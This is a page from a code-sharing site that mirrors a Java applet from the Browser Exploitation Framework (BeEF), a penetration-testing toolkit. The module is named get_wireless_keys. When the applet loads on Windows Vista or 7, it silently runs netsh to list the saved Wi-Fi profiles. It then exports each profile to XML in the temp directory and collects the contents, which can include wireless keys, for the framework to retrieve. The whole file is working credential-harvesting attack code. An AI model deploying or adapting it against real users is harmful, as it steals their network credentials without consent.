Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_wireless_keys/wirelessZeroConfig.java
1154 views
1
/*
2
* Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
import java.io.*;
8
import java.util.*;
9
import java.net.*;
10
import java.applet.*;
11
12
// Keith Lee
13
// Twitter: @keith55
14
// http://milo2012.wordpress.com
15
// keith.lee2012[at]gmail.com
16
17
public class wirelessZeroConfig extends Applet{
18
public static String result = "";
19
20
public wirelessZeroConfig(){
21
super();
22
return;
23
}
24
public static String getInfo() {
25
return result;
26
}
27
28
public void init() {
29
if (isWindows()) {
30
String osVersion= System.getProperty("os.version");
31
if(osVersion.equals("6.0") || osVersion.equals("6.1")){
32
result=getWindows();
33
}
34
} else {
35
result = "OS is not supported";
36
}
37
}
38
39
public static String getWindows(){
40
String cmd1 = "netsh wlan show profiles";
41
String cmd2 = "netsh wlan export profile name=";
42
String keyword1 = "User profiles";
43
String wlanProfileArr[];
44
String wlanProfileName;
45
int match = 0;
46
int count = 0;
47
ArrayList<String> profileList = new ArrayList<String>();
48
try {
49
//Get wlan profile names
50
Process p1 = Runtime.getRuntime().exec(cmd1);
51
BufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream()));
52
String line = null;
53
//Checks if string match "User profiles"
54
while ((line = in1.readLine()) != null) {
55
//Checks if string match "User profiles"
56
if(match==0){
57
if(line.toLowerCase().contains(keyword1.toLowerCase())){
58
match=1;
59
}
60
}
61
if(match==1){
62
if(count>1){
63
//If string matches the keyword "User Profiles"
64
line = (line.replaceAll("\\s+$","").replaceAll("^\\s+", ""));
65
if(line.length()>0){
66
wlanProfileName = (line.split(":")[1]).replaceAll("\\s+$","").replaceAll("^\\s+", "");;
67
profileList.add(wlanProfileName);
68
}
69
}
70
count+=1;
71
}
72
}
73
in1.close();
74
} catch (IOException e) { }
75
76
try{
77
String tmpDir = System.getProperty("java.io.tmpdir");
78
if ( !(tmpDir.endsWith("/") || tmpDir.endsWith("\\")) )
79
tmpDir = tmpDir + System.getProperty("file.separator");
80
81
//Export WLAN Profile to XML file
82
for(Iterator iterator = profileList.iterator(); iterator.hasNext();){
83
String profileName = iterator.next().toString();
84
Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"');
85
//Check if exported xml exists
86
File f = new File(tmpDir+"Wireless Network Connection-"+profileName+".xml");
87
if(f.exists()){
88
//Read contents of XML file into results variable
89
FileInputStream fstream = new FileInputStream(f);
90
DataInputStream in2 = new DataInputStream(fstream);
91
BufferedReader br = new BufferedReader(new InputStreamReader(in2));
92
String xmlToStr;
93
while((xmlToStr = br.readLine()) != null){
94
result+=xmlToStr;
95
}
96
in2.close();
97
}
98
}
99
} catch (IOException e) {
100
}
101
return result;
102
}
103
104
public static boolean isWindows() {
105
String os = System.getProperty("os.name").toLowerCase();
106
return (os.indexOf("win") >= 0);
107
}
108
109
/**
110
public static void main(String[] args) {
111
if (isWindows()) {
112
String osVersion= System.getProperty("os.version");
113
System.out.println(osVersion);
114
if(osVersion.equals("6.0") || osVersion.equals("6.1")){
115
result=getWindows();
116
}
117
} else {
118
result = "OS is not supported";
119
}
120
System.out.println(result);
121
}
122
**/
123
}
124
125